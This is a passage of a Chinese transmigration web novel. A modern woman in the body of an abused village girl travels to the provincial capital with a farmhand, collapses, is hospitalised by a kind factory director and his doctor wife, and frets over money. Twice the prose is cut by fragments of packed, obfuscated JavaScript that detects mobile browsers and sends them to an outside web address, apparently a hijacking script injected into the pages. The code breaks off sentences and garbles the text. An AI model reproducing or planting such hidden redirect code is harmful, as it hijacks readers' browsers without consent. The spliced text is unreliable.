焦离有了老驴代步,赵二蛋又是走山路走惯了的,两人赶在天黑前来到了泗水镇。按照李大力给的地址,两人找到老驴真正的主人,把它还了回去。 此时已经是下午五点左右,天还没完全黑透,略有些昏暗而已。 赵二蛋挠了挠头:“大丫,这个点客运站已经停运了,咱们现在就算赶去也已经来不及了。接下来怎么办?” 镇上去省城的班车只有一个班次,那就是下午三点发车,今天的车他们错过了。 焦离惨白着一张脸,毫不犹豫道:“去客运站,先看看去。实在不行,我们就在那歇一晚,明早再坐车去省城。” 来之前,李大力硬塞给她一些钱票,她现在身上确实一分钱都没有,也没有推辞,心里打算以后有钱了再还给他。李大力给的钱虽然不多,但足够买两张前往省城的车票了,所以焦离现在说话很有底气,咱有钱,坐得起车! 至于钱花完了怎么办,到那时再说吧,焦离很光棍的想,反正饿不死就行。 在客运站歇一晚? 赵二蛋在刘家当长工那么多年,自然也知道大丫的二叔刘胜军和奶奶刘老太就住在镇上,只是他们也和刘胜利、田招娣一样,都不咋待见大丫。见她来了镇上宁愿在外面熬一宿也一点都没有去找自家二叔的打算,心里也不觉得奇怪。 只是他有些担心焦离的身体,他可还记得,大丫现在还在发高烧呢。那么冷的天,要是还在外面露宿一晚,万一大丫病得更严重怎么办? 看出赵二蛋眼里的担心,焦离安慰他:“没事,我还能撑得住,死不了。”接着,又笑嘻嘻的开玩笑道,“再不快点去省城,我怕被我爹娘抓到,到时我估计又要跳一回湖水了。” “别胡说,有我在,我绝不会让他们抓你回去。”赵二蛋14岁到刘家当长工,当时大丫才11岁,他可以说是从小看大丫长大,心里早已把大丫当做妹妹看待。如今见她把寻死说得那么云淡风轻,心里又气又难受,立马闷声闷气回了她一句。 “谢谢二蛋哥。”焦离甜笑着道谢。 “你……”赵二蛋想说点什么,却又不知道说些什么,便定定看着她,忽然叹了口气。 “?”焦离不解地望着他,好好的,这人叹什么气啊? 可能是因为死过一回,赵二蛋发现大丫性子变了不少,原本脆弱腼腆的小姑娘比从前多了一份潇洒韧性,看着活泼开朗了许多。 赵二蛋觉得这样的改变也很好,这样的她哪怕从此离开三河村不再回来,他相信以大丫现在的性格,一个人在外面生活也会过得很好,不让人操心。 他不说话了,抓着行李就走,还一边回头顾着脚步虚浮的焦离,怕她跟不上,一边催她:“不是想快点去省城么?那还不快点走?咱们到那边可以问问人有没有车去省城的,顺便叫人搭我们一程。” “哦,来啦。”焦离跟在他身后扬起笑脸。 幸好客运站离他们不远,走了不到半个小时,就遥遥看见了客运站的轮廓。 此时,天已经完全黑了下来。 泗水镇的客运站比她想象的还要小,看起来又旧又破,仅有一个售票窗口,一个保安亭,候车室上方只有一个顶棚,下面并排放着几把木椅,和二十一世纪宽敞气派又明亮的汽车客运站相比,完全是天差地别,看起来年代感十足。 让焦离惊喜的是,前往省城的那一辆汽车还没走!一打听,说是汽车临出发前出了点故障,现在才修好,一会就发车。 谢天谢地!焦离简直心花怒放,今晚就能离开泗水镇了。 来到售票处,她从包袱里掏出李大力给的那一叠钱票,全都是新币。数了数,一共有两张面值10000元,两张5000元的,还有两张500元的。这新币虽然看着数额大,但按照后世的购买力换算过来,这10000元就相当于1块钱,5000元是5角钱,500就是5分钱。 这些钱,加起来总共3块1毛钱。听起来似乎很少,但在这个大米1毛3分钱就可以买1斤的年代,这3块1毛钱差不多可以买20多斤的大米了,也挺多的了。 一张汽车票4角钱,焦离买了两张。于是,她手里的钱只剩下可怜兮兮的2块7毛了。 赵二蛋身上倒是有一堆零散的小面额钱票,这些都是他最近几个月帮附近村里人做苦力干活积攒的,林林总总加起来也才1块钱左右。 这些钱,够干嘛? 好像什么都干不了。 “这车票太贵了!剩下的这些钱,也不知道够不够给你看病。”赵二蛋苦恼道,想了想,他眼睛一亮,“要不,你把另一张票退了,我走着去省城,到时我去医院找你汇合。”走个两天两夜,应该就能到了吧。 焦离:“……”你可真能想。 她把剩下的钱往兜里一揣,示意他赶紧上车:“票买都买了,退不了。再说了,省城那么大的一个城市,咱们还能在那饿死不成?” 赵二蛋面上还是有些犹豫,又抵不过焦离的催促,只好一步一挪地提着行李上了车。 他作为家里的老大,自小照顾弟弟妹妹习惯了,对焦离也不例外。把行李安置好后,趁着车还没开走,他从篮子拿了焦离从家里带出来的大海碗下了车去保安亭向大爷讨了一碗热水上来。 “给,喝点热水暖暖身体。” “谢谢二蛋哥。” 焦离因为高烧浑身冒冷汗,早就渴得不行,一接过碗,就小口小口的喝着。热水一入肚,一直发冷的身体似乎暖了一点。她舒了口气,目光转向车外,新奇的打量周围的一切,总觉得处处新鲜。车里人不多,大半座位都是空着的。乘客男女老少都有,一眼望去,都是穿着灰、蓝、黑三种颜色的衣服,很少看见有亮色的。虽然穿着淳朴,但众人的精神面貌却很好,眼神明亮,神态昂扬。 喝水喝到一半,焦离忽然想起篮子里还有八个红薯一个鸡蛋,忙拿了过来,让赵二蛋吃。 出门前,赵婶子本想煮一锅红薯让他们带在路上当干粮。但焦离怕田招娣突然找过来,面上装出一副越来越病重头脑昏沉的模样,唬得赵婶子立马放下手里的活,话没嘱咐几句就让赵二蛋赶紧带着焦离走,李大力和秋小红也在一旁催着,生怕多耽搁一秒焦离就不幸咽气了。 出门在外,能省就省。于是,焦离从家里拿出来的粮食现在就派上了用场。 赵二蛋只拿了一个最小的红薯吃了就不肯再拿了。焦离今天就喝了一碗粥,胃里早已消化完不剩什么了,只是她现在身体实在难受,一点食欲都没有。摇了摇头拒绝赵二蛋递过来的唯一一个鸡蛋,焦离头靠在座椅上,双手继续在身上的穴位该捏捏该揉揉,想让自己好受点。 赵二蛋以为她是在给自己做身体按摩消除疲乏,也没在意。见她不吃,便把鸡蛋红薯放回篮子里,然后左右张望起来。 他从来没去过省城,也不知道去了省城该怎么办,本来心情也有些忐忑不安。但焦离肢体间无意中透出来的随意淡定的态度让他的心也跟着渐渐安稳下来。想着刘家毕竟是富户,据说刘胜利和田招娣早年曾经去过省城几次,大丫可能曾经听他们在家里讲起过,对省城也有一些了解。可能是因为这个原因,所以大丫一点也不紧张,从头到尾整个人都显得很自在,压根不像从没出过远门的十七岁小姑娘。 等了五分钟,车就开了,缓缓驶离泗水镇。 赵二蛋长这么大从未坐过汽车,头一回坐没想到居然会晕车,车开了没多久他就有些胸闷想吐。 焦离见他实在难受,教他按公孙内关和合谷穴等穴道缓解缓解,赵二蛋试了一下,发现居然有用,顿时有些惊奇。 对此焦离的解释是,村里的老瞎子教她的。 闻言,赵二蛋瞬间恍然。 赵家村从前来了一个老瞎子。那人据说是家乡受灾逃难出来的,结果路上不幸遇到鬼子,一家人死的死,被抓的被抓,只有他一个人逃了出来,一双眼睛就是被鬼子刺瞎的。老瞎子瘦得跟麻杆似的,又脏又臭,周围村里人都离他远远的。只大丫心善,去赵家村给姑姑送粮食时看见了觉得他很可怜,一有空便时不时去跟他搭话。当时还偷着省下自己的口粮给老瞎子送了几次饭,自己却因为几天没饭吃晕倒在他家门口,把他爹娘当场给吓得不轻,后来才发现大丫是被饿晕了而已。 不过老瞎子也算得上是个能人,什么都会一点,即便什么都看不见,也能靠嗅觉和味觉分辨出一些常见的草药。赵二蛋依稀记得有一回刘家的老牛摔断了腿,就是老瞎子治好的。 因此对于焦离说的话,他没有一丝怀疑。 见赵二蛋不再追问,焦离就知道他这是信了自己的说辞。老瞎子性情古怪孤僻,原主其实和他也没说过几句话,不过老瞎子确实是原主从小到大接触过的唯一会识别一些普通草药的人,而且他只在赵家村待了一年就病死了,尸体还是原主和赵二蛋一起埋的。 焦离也是想到这个,才随手将他拉来当自己的挡箭牌,没想到用起来的效果这么好,压根不用自己多费口舌。 惊喜来得太突然,她没控制住自己的嘴角,往上提了提。 这样一来,她的一身医术将来也有了经得起查证的来处,以后不用遮遮掩掩的生怕自己露出马脚了。毕竟她不是专业的演员,不可能毫无破绽的伪装一辈子。 笑到一半,焦离忽然想起,再过十来年的‘破四旧’运动中,‘打倒一切牛鬼蛇神’,中医大夫就属于不幸被波及的那一类人。 而她——富农子女成分加上中医大夫,简直是buff叠满了。 焦离:“……” 哦豁,她好像主动给自己挖了一个大坑。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207936|151033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 笑不出来了。 算了算了,焦离安慰自己,现在离那个时候还遥远着呢,将来的事将来再说。如今的她,是没钱没房没工作的‘三无’人员,连生存都困难,实在没必要想太多,应该专注当下。 她相信以自己的能力,将来肯定能安然渡过那场风波。 放下了心底最沉重的那一块大石,再加上终于如愿离开了三河村,焦离从穿越过来就始终紧绷的心弦陡然一松。渐渐的,全身的酸痛感和疲惫感齐齐蔓延了上来,她只觉得身体越来越冷,眼皮也越来越沉……忽然,她侧头一歪,彻底陷入了昏迷中,人事不省了。 旁边的赵二蛋无知无觉,只以为焦离累了睡着了而已。毕竟相处的这几个小时,焦离一直嬉皮笑脸的,除了表面看起来虚弱了一点,体温高了一点,瞧着好像也没什么不舒服的地方。 赵二蛋便以为她只是发高热,病得不严重,想着去医院打一针就好了。 从泗水镇到省城只需要10个小时的路程,路途长远,加上天又黑,司机师傅怕出意外,把车开得很慢。因此本该凌晨四点到达省城的,结果都过了四点,也一直没见到省城的影。 中途汽车还停留了10分钟让乘客下车解决个人问题,赵二蛋见焦离没动静,以为她睡得深了,便也没喊她。 直到汽车刚行驶到省城城郊就因为出故障而被迫停留在原地,司机让车上所有乘客下车赵二蛋叫不醒焦离后,才蓦然惊觉大丫病得比他想象中的还要严重…… “大丫,大丫,你醒醒。”赵二蛋慌了。 未下车的乘客们也围了过来,有一位大姨借着车内黯淡的灯光仔细端详了焦离的脸色,又摸了摸她的额头,“哎哟,这女娃额头烧的很烫哩,得马上送去医院,不然人就要被烧死了。” “对,别耽搁了,快把小姑娘背上。” “这荒郊野外的,汽车又开不了,怎么去?” “跑着去啊!不去人就要没了。” 众人七嘴八舌的,你一言我一语,把原本被这突发状况惊得六神无主的赵二蛋说的猛地回神过来。 医院?对!赶紧去医院! 他忙不迭背起焦离,一边往车下走一边口中大喊:“让让,让我下去。” 众人纷纷避让,有的人还朝着司机喊:“这里离城里还有几公里远呢,小伙子背着女娃要走到什么时候啊?人命关天,你赶紧把车修一修,送小姑娘去医院。” 司机也急啊,但就是没办法,他摆了摆手:“不行呐,这次没一个小时是修不好的。”这汽车今天因为故障才修了一回,整整修了三个小时呢,这一回怎么的也不可能在极短的时间内修好,只能慢慢等了。 可大丫等不起—— 此时已经是凌晨五点半,夜色依旧漆黑,周围一大片田野笼罩在黑暗中,借着稀疏的灯光,三两步跨下车的赵二蛋眼前只看得见车里车外晃动的人影。 车外已经下车的乘客听说有小姑娘发烧晕倒了,探头往车上张望,见赵二蛋背着焦离下了车,往那一看,顿时惊了。 哎呀,小姑娘那脸惨白惨白的,几乎都没有呼吸了。 这年头都是热心人,那么大的女娃子就在他们眼前昏迷着,这谁能忍心啊。 顿时众人纷纷出主意了,什么往前走两公里有个村,找个跑得快的,去那看看有没有牛车或者马车的,去借来用一下。还有说叫上车上所有年轻人,众人接力背着小姑娘跑去省城,一人背一段路,这样能快一些…… 忽然,一道强烈的车灯从远处打了过来,有人眼尖看见了,喊了起来,“车!有车开过来了!” “哪呢哪呢?” “哎还真有!快招手拦住!” 原本已经跑出一小段距离的赵二蛋回头一看,立马大喜过望,蓦地停下脚步。 很快,一辆吉普在众人面前停了下来。 车窗缓缓降下,后座露出一张刚毅严肃的面容,他瞧着不到四十岁,周身气势惊人,一看就是曾在战场上历练过的军人。 现场渐渐安静了下来。 车子莫名其妙被拦下,男人也不恼,环视了周围的人一眼,态度很是温和:“同志,有什么事么?” 赵二蛋背着焦离快步跑到他面前,着急道:“我妹妹晕倒了,现在汽车出故障开不了,叔、首、首长,你能不能送我们去医院……” 男人看了一眼他背后的昏迷不醒的焦离,丝毫没有犹豫立马下车,“快!快上来。” “谢谢首长。” 赵二蛋把焦离放到座位上,自己也坐了一旁,车外有乘客帮他拿了行李过来,他一边接过一边道谢,表情十分感激。 见两人坐好,男人抬步深一脚浅一脚往副驾驶走去,他这一动,众人才赫然发现,面前这个威势不凡的中年男人竟然是个瘸子…… 5. 第 5 章 后座的那对兄妹,看得出来是来自贫苦的人家。寒冷的深冬清晨,哥哥只穿着薄薄的打满补丁的粗布短褂和大裤,傻小子全凭火力壮似的一点也不怕冷,浑不在意森冷的寒意,一上车立马翻出破旧的棉花被裹住昏迷不醒的妹妹,生怕自家妹妹被冻着。 透过前视镜,焦平安只能看到小姑娘枯黄缺乏光泽的发丝,以及一截细瘦的手腕和手指,皮贴着骨头似的,好像微微一折就会断了。 他心里掠过一丝古怪,这一对兄妹俩,哥哥虽然看起来也瘦,但从他动作时腰膀隆起的线条就能看出他瘦而不弱,肌肉结实有力,属于男性正常的体格范围。哥哥身体健壮,但妹妹却瘦的令人心惊,看上去明显不正常,是家里不给饭吃?还是因为生病? 焦平安道:“小王,掉头往回开,去军区医院。” “是。”司机小王立马应道。 吉普车提速往省城的方向驶去。 焦平安看见那个年轻的小同志时不时探出手放在妹妹鼻子下看看有没有呼吸,情绪明显非常紧张,出声安慰他:“军区医院的医生医术非常好,治病救人的经验很丰富,你不用太担心。” “谢谢。”赵二蛋感激道。话虽如此,但依然没停止手上的动作。显然,他还是很不放心,兄妹俩感情深厚可见一斑。 见此,焦平安不由微微一笑。 他闲聊似的问眼前的青年是哪里人?叫什么名字?来省城多久了? 赵二蛋一一回答。 他久经战场,周身气场如出鞘的利剑一般,杀伐果断般的凛然迫人。即便此刻他声音和缓,脸上带笑,气势也没减去半分。赵二蛋自小在三河村长大,从未接触过这样的人物,腰背不由自主挺直了,几乎有问必答。 得知昏迷的小姑娘叫做赵大丫,焦平安略觉奇怪,“你和你妹妹,怎么一个姓赵,一个姓刘?” “我们不是亲兄妹,我是她家的长工。”赵二蛋挠了挠头,也不知道该怎么解释,“她是我认的干妹妹。” 长工?焦平安一愣,刘家是地主?他还想再问,赵二蛋却顾不上回答他的话了,他此时惊恐的发现,大丫呼吸越来越微弱,胸腔几乎没有一丝起伏,好像已经快不行了。 见小姑娘的情况有点严重,焦平安赶紧催小王开快点。所幸从郊区到省城,这一路上都没有其他车辆来往,吉普车得以畅通无阻,不到十分钟车身就停在了军区医院门口。 远远的,焦平安看到一个熟悉的身影蹬着自行车从马路那头疾速行驶过来,急忙探头朝那个方向招手:“秀映。” 女人闻声抬头,见是焦平安立马笑了一下,眼角的细纹自然而然舒展起来:“不是说去郊区看厂址么?怎么又……”回来了? 话刚说到一半,就见后座车门陡然被打开,下来一个抱着人形被子的惊慌青年,他六神无主的喊道:“医生在哪?医生,我妹妹快没有呼吸了。” 同一时间,焦平安也忙道:“有个小姑娘晕倒了,你快看看是怎么回事。” 听闻有病人,罗秀映神色一整,几步来到赵二蛋面前,刚扒开被子,一张惨白无血色的小脸蓦地出现在她眼前。 细眉瓜子脸,鼻梁挺直,泛白的唇瓣,像一朵即将凋零枯萎的花,透着仿佛被积雪冰霜摧折过的柔弱之态。 看到这张脸,不知怎的,罗秀映莫名心悸了一瞬。她定了定神,一边撩开焦离的眼皮仔细观察一边给她搭脉。 下一秒,罗秀映面色大变,毫不犹豫一把抱住焦离往回跑,还一边跑一边高声喊医院的人过来:“小徐小于快来,紧急情况,有病人要急救。” 她一跑,赵二蛋也跟在后面往里冲,一眨眼两人就没了踪影。 那位小同志的行李还落在车上呢。 小王询问焦平安:“厂长,这行李?” 焦平安:“你给他们送过去。” “是。” 此时急诊室外,赵二蛋惶急的来回走动,几乎坐立难安,眼里的担忧几乎要溢出来。他一心只顾着注意抢救室里面的情况,连小王的到来都没发现。 小王也没有去打扰,轻轻把行李放在他脚下,便返回车内,开车载着焦平安往城郊行驶。 到了晚上,焦平安才从郊外返回来,途中路过军区医院,他叫停后打开车门,对小王道:“你自个回去吧,我等秀映下班。” “是。”小王应了一声。 下了车,焦平安拍了拍身上的灰尘,扫视了一下全身,自己除了裤脚、鞋底沾了点泥外,倒也没多大狼狈,便放心了。走进医院,也不问人,左拐右拐的,熟门熟路地往妻子的办公室走去。 这个点,妻子必定还没下班。 过去一看,果然,人就在办公室写病历呢。 一见到焦平安,罗秀映略显疲惫的脸上露出一抹笑意:“你怎么来了?” “接你下班,”焦平安打趣道,“咱们罗主任辛苦了。” “哟,不辛苦,焦厂长可比我辛苦多了。” 两人说笑了几句,焦平安耐心地等罗秀映写好病历后,拿过军大衣给妻子披上后,两人并肩往外走去。 焦平安腿脚不好一向走得慢,罗秀映为了迁就他的步伐,习惯性放缓脚步,两人一边走一边闲话家常。 “对了,早上那个小姑娘怎么样了?”焦平安随口问道。 “不太好。”罗秀英叹了口气,“她这病,得好好调养着,若调养不好,恐怕……”活不长。 提到刚才救治的小姑娘,罗秀映顿时想起她那瘦骨嶙峋的身体遍布的深浅不一的新旧伤痕,感觉心里有点堵。那个小姑娘,明显是常年被家人虐打,不然身体也不会有那么多疤痕。 十六七岁的年纪,跟小柔一样大呢,自家闺女平时在家那是谁都舍不得说一句重话,那个小姑娘和小柔一样年纪,却日日要遭受家人毒打。 想到这,罗秀映心中不由叹了口气。 察觉到妻子有些心神不宁,焦平安温声问:“怎么了?” “没什么。”罗秀映摇了摇头,她打起精神来,把话题转到自家闺女身上,“今天妈偷偷告诉我,说她在百货大楼看见小柔和一个男学生在一起逛街,问我小柔是不是有喜欢的人了。” 嗯?男学生?! 焦平安轻松的神态瞬间一滞,老父亲有点应激了:“不可能,闺女还小呢,哪里懂得什么是什么喜欢,妈肯定是看错了。”说是这样说,但焦平安忍了两秒,还是没忍住开口打探,“那男学生叫什么名字?人品怎么样?哪个学校的?读什么专业?——哎你别顾着笑啊,给我说说那男学生家里是个什么情况……” 见丈夫变了脸,女人不由忍笑,故意不回他的话,出了门诊大楼,找到停留在外面的自行车直接跨上去,示意焦平安坐上后座,“你想知道就去问闺女啊,问我干什么?” “闺女脸皮薄,我不好去问。”焦平安坐了上去,右手扶住妻子的腰,嘴上还不忘催她,“赶紧说说,那个男学生是个什么情况。” “哈哈哈哈。” “闺女就要被人拐跑了,你还笑……” 见男人急了,女人越发笑得不可自抑,脚下一蹬,自行车一下子就窜了出去,载着两人往远处行驶,笑声撒了一路,很快不见踪影。 门诊大门很快恢复了寂静,偶有一两名医护人员行走匆匆。昏黄的灯光下,这座三层砖混结构的老旧门诊楼越发显得黯淡凄清,孤零零地伫立在原地,渐渐隐没在黑暗里…… 焦离完全没想到,自己不过是在车上闭了一下眼睛而已,再次醒来居然是在医院里了。 她呆滞地躺在床上,耳边是赵二蛋兴高采烈的声音,“当时汽车还没开到省城又出故障了,幸好焦厂长正好路过,及时把你送到医院,否则你就危险了。罗主任都说了,要是再晚上几分钟,你就救不回来了。真是好险啊!” 不,我从没想过去医院治病,更没想过住院,我是穷鬼,没钱!住不起!来省城前我就想好了,自己抓药自己治,省钱又省事。 可她最后,还是进了医院! 抢救!治疗!住院!哪一个听起来都不便宜,她身上仅有的那2块7毛钱最后还能有剩么? “二蛋哥,我昏迷多少天了?”焦离虚弱地问。 “两天。”赵二蛋这两天寸步不离地守在病床边给焦离喂药看输液,几乎不眠不休,熬得人都憔悴了几分。如今见她醒了,心里很高兴,端了一碗浓黑的药汤过来,“来,快把药喝了。罗主任特意嘱咐了,你这药得一天三顿的喝,一次也不能停。” 两天?!还好还好!两天的住院费她应该还能支付得起的。 这个念头刚升起然而下一秒焦离就闻到一股苦涩的药味飘了过来,嗅着这股味道,本能分辨其中用到的药材:赤芝、补骨脂、石菖蒲、仙茅、明党参等等,还有几味贵重的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207937|151033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药材。开这方子的大夫用药很高明,正好对症,要是继续服用下去,不出三个月,焦离的身体就能好大半。药材是好药材,只是这些药材的价值,远远不是现在一穷二白的焦离能够承受得起的。 焦离捧着碗,简直欲哭无泪,完了!这回那2块7毛钱保不住就算了,说不定还得倒欠医院一大半医疗费,那她出院后岂不是要沦落街头了? 这个年代让人睡桥底么?要是不让,巡逻队硬是要把她遣送回三河村那该怎么办? 不行!出院!必须立马出院!不能继续住下去了! 焦离把药碗往柜子上一放,掀开被子就要下床,“二蛋哥,你去帮我办理出院手续,我不住院了。” 赵二蛋大惊,“你别动,罗主任说你身体太虚,最好躺在床上静养……” 刚要伸手扶她,就被人躲过去了。 “我出院再好好养。” 焦离话说的坚决,但是她显然高估自己的身体状况了,双脚还没落地呢,她眼前便猛然一黑,身体立马软了下来,身不由己瘫倒在床上。 焦离:“……” “你别逞能了,好好躺着别动,”赵二蛋给焦离盖上被子,知道她在担心什么,他安慰道,“我打听过了,东区一桥码头那边正在招人扛包,一天能有1200元呢。”说到这,他眼里闪着亮光,“一天1200块钱啊!我在村里帮人做活,每次只挣那么几十块一百块,我得攒十多天才能攒到1200块钱呢,但在这里一天就能挣到了。等你身体好些了,我就去那边看看,若能成,咱们就有钱用了。所以你只管好好治病,剩下的都交给我,不用担心。” 新币1200元,按购买力算也就是1毛2分钱,1天1毛2分,10天1块2毛,一个月3块6毛钱。对于赵二蛋来说,确实挺高的了,毕竟他在村里做了几个月的活才攒了不到一块钱,而这些钱他在码头只要做10天的工就能挣到,不怪他一讲到扛包就如此兴奋。 赵二蛋说的轻松,可焦离不是没见过世面什么都不懂的小姑娘,自然知道扛包不是轻松的活,挣的每一分都是血汗钱,其中的辛苦,背后付出的艰辛,都是常人难以想象的。 “二蛋哥,你看我的身体一时半会也好不了那么快,如果不出院,咱们每天就得多交一笔住院费。”焦离试图说服赵二蛋,她伸手把药碗拿过来,示意他看,“你也知道我以前跟老瞎子学了一点关于药草的知识,这药汤我一闻就知道里面放了哪几种药材。出院后,我可以自己找齐药材自己熬煮,比买医院的药划算多了。咱们还得在省城暂住一段时间呢,要是一下子把钱都花完了,咱们将来吃什么喝什么?所以有些钱能省就省嘛。” 焦离其实是在忽悠赵二蛋呢,她喝的汤药其中有好几味药材很珍贵,外面即便有卖,价格恐怕也不比在医院卖的低多少。 只是她没打算买,他们现在吃饭都成问题了,哪里还有多余的闲钱买药啊。普通草药的疗效虽然比不上贵重中药药材,但对调养身体也有一点点效果,所以她打算凑合凑合一段时间,只要病情不加重就行。反正只要自己还能动能喘气,身体就算有病,那也不是什么大问题。而且只要病还没治好,她就有理由继续留在省城…… 赵二蛋不知道焦离内心真正的想法,听完她的话细想也觉得有道理。 只是—— “那出院后咱们住哪?”赵二蛋问。 这还真是个问题。 要不是天太冷了,焦离倒真想去天桥底下安家,白天去找活干,晚上回去被子一裹倒头就睡,完全不用花钱,简直美滋滋!不过她也只能想想了,这样寒冷的天气,在外边顶着寒风睡一晚,即便是身强体壮的大小伙子也能冻出病来,更不要说她这样的病号了,真去了就是纯纯找死呢。 不能睡天桥底,那只能——住宾馆?租房? 宾馆?这个时期的宾馆,无论是酒店还是旅舍,应该统统都是公家经营的了,就算是私人的,也很快会变成公私合营。 那现在的宾馆住一晚上要花多少钱?参考后世酒店旅舍的价格,焦离不觉得会便宜到哪里去。 那就只能租房了。 焦离记得50年代有个经租房政策的,个人多余的房子要暂时交由国家统一管理经营出租,屋主只能领取固定租金,没有租房管理权。但那是1956年的事了,现在还是刚建国没多久呢,想来租个房子应该还挺容易的吧。 6. 第 6 章 然而没多久,焦离发现自己把事情想的太简单了。现代社会如果想要租房,只要在网上找平台搜索一下就很快会有消息,而在这个年代,想要找到好的房源可不容易,而且他们刚到省城,人生地不熟的,想要找租房中介也不知道去哪里找。 赵二蛋出去转了一下午,到处找人打听,最后只能无功而返。 暂时找不到房源,而且—— “我打听过了,住一晚上宾馆最低也要400块钱。”赵二蛋道。 400块钱,那就是4毛钱?!焦离睁大眼,医院今天刚送来账单,她看了下,上面标注着住院费一天200块钱,这可比宾馆便宜多了。 于是,焦离老实了,再也不嚷嚷着出院了。租不起房子,那他们只能住宾馆,但宾馆住一晚上比住在医院还要贵。她住在医院,至少赵二蛋累了还能躺在隔壁病床上歇息一下,洗漱去卫生间,比住在宾馆省钱多了。 至于吃的,医院就有食堂,虽然种类不多,但价格还挺实惠的,一碗白粥2分钱,一碗肉沫3分钱。只是焦离惊讶的发现,赵二蛋晚上给她打了一碗热气腾腾的肉沫粥,又从篮子里拿出一个鸡蛋放在她面前,而自己却只拿着红薯在那里啃,红薯皮都没剥。 她伸手扒拉一下篮子,见自己从家里带出来的红薯居然还剩四个,伸手一戳,梆硬。想到赵二蛋俭省的性子,焦离问:“二蛋哥,你这两天该不会就只吃了两个红薯吧?” 赵二蛋挠了挠头,不好意思的笑了。 他这两天就守在病床边,整日也没事干,又不用耗力气,吃个红薯填填肚子就行了,剩下的还能吃四天呢。医生说大丫身体太虚了,要吃点好的补一补,他身体好着呢,少吃一顿又饿不死,省下的钱都给大丫补身体。 一见他那表情,焦离还有什么不懂的。 一个大小伙子,一天只吃一个红薯像话么?再这样下去,自己还没好呢,他就饿得走不动路了。 焦离问护士要了一个碗,把肉沫粥倒了一半出去,把其中一碗推到赵二蛋面前,叫他吃。 “我吃红薯就够了,你吃吧。”赵二蛋不肯,又把那半碗粥推给焦离,三两下吃完一个红薯。 肯定没吃饱,但他也不肯再去篮子拿。 对付这种倔牛,焦离有的是办法,她干脆也不喝粥了,在赵二蛋茫然的眼神下拿起一个红薯,抬起下巴瞥了他一眼:“咱们是一起的,既然你不喝粥那我也不喝,以后不用专门打饭给我了,你吃什么我就吃什么。”有本事,你天天吃红薯给我看。 哼! 赵二蛋:“……” 拗不过焦离,赵二蛋最终妥协了。 而他所谓的妥协,就是给焦离买肉沫或者猪血粥这类有营养的饭菜,而他自己,则常常一碗白米粥就着一点小咸菜和红薯一起吃,也能混个肚饱。篮子里红薯两顿就吃完了,他现在吃的红薯是从医院食堂买来的,一分钱两个红薯,赵二蛋觉得特别香甜。 第二天早上赵二蛋也没闲着,趁着焦离昏睡还没醒来前去了一趟东区一桥码头,打听那边有没有活做。码头确实是在招人,只不过想要在码头上下力,不但要找担保人,还得交一笔‘下河钱’,扁担和竹筐也要自行购买。 不算找担保人和购买工具的钱,光是‘下河钱’就要两万块新币,也就是2块钱。这个活前期成本实在是太高了,赵二蛋支付不起,于是去码头扛包的计划只能暂时放下了。 回来后的赵二蛋明显有些沮丧。 焦离劝他:“二蛋哥,做扛包工有什么好的,那活是有一天做一天,没有就挣不到钱。你与其去码头做扛包工,还不如找机会进厂当工人呢。” 现在国家初建,百废待兴,想要找到一份好工作不难。赵二蛋成分是贫农,自己又当过长工,属于被剥削那一类的,简直是根正苗红,厂里要的就是这样的工人。他要是能进厂,就相当于端上了铁饭碗,这辈子不用愁了。 闻言,赵二蛋哭笑不得:“厂里哪里是那么容易进的,我又不识字,厂里不会要的。” “不识字可以学啊,”焦离来了兴趣,左右张望没见有纸笔,便从护士小姑娘们烧起的炭盆里找来燃烧到一半的细棍,开始在地上比划,“我教你。” “你教我?” 焦离得意点头:“你忘啦,我可是会认字的。” 原主确实会认字,不过只认得自己的名字而已。记忆里,她13岁那年,妹妹刘宝珠刚满10岁,就被刘胜利送去泗水镇上学堂,田招娣不放心,直接住在镇上直到刘宝珠放假才带着她一起回村。 许是太久没见到亲爹,刘宝珠回来的那一天特别兴奋,拿起自己的大字不住向刘胜利显摆炫耀:“爹你看,我会写自己的名字了。不光是我的名字,你和娘的名字,姐姐的名字,我也都会写了。这是你的,刘胜利……最后一个是姐姐的,刘大丫……” 听到妹妹提到自己,正被罚跪在屋外的原主吃力抬头,透过狭小的门缝,她看见刘胜利正一脸疼爱的注视着刘宝珠,嘴角含着一丝欣慰,而田招娣则在一旁笑得合不拢嘴,满脸骄傲,在听到她的名字的那一瞬眉头厌恶拧紧,下一秒便舒展开了,继续温柔看着刘宝珠,满眼疼爱。 后来,那张纸被刘宝珠随意丢在墙角,原主偷偷捡了起来,照着纸上的字在地上用树枝一笔一划地临摹自己的名字,不知疲倦。 刘、大、丫…… 直到会写了,她克制不住心中的喜悦,极少见的,主动兴冲冲的去找赵二蛋显摆,赵二蛋也极为捧场,各种夸赞表扬,夸得原主都有些不好意思了,抿着嘴角羞涩地笑了笑。 那是原主最开心的一天。 赵二蛋似乎也想起来了,疑惑道:“你不是说只会认自己的名字么?当时我还问你我的名字怎么写,叫你教我,你说不会。” 焦离理直气壮:“那个时候我确实不会嘛。后来宝珠每年放假回家,我趁着她读书识字时在旁边偷看,也会认很多字了。我想跟你显摆,可你总是躲着我,话都不跟我说了。” 一提到这,赵二蛋面上闪过一丝心虚。 他心里把大丫当亲妹妹看待,但村里那些爱嚼舌根的女人却不这么想,每次见他俩走近一点,就背后指指点点,净说些让人讨厌的话。 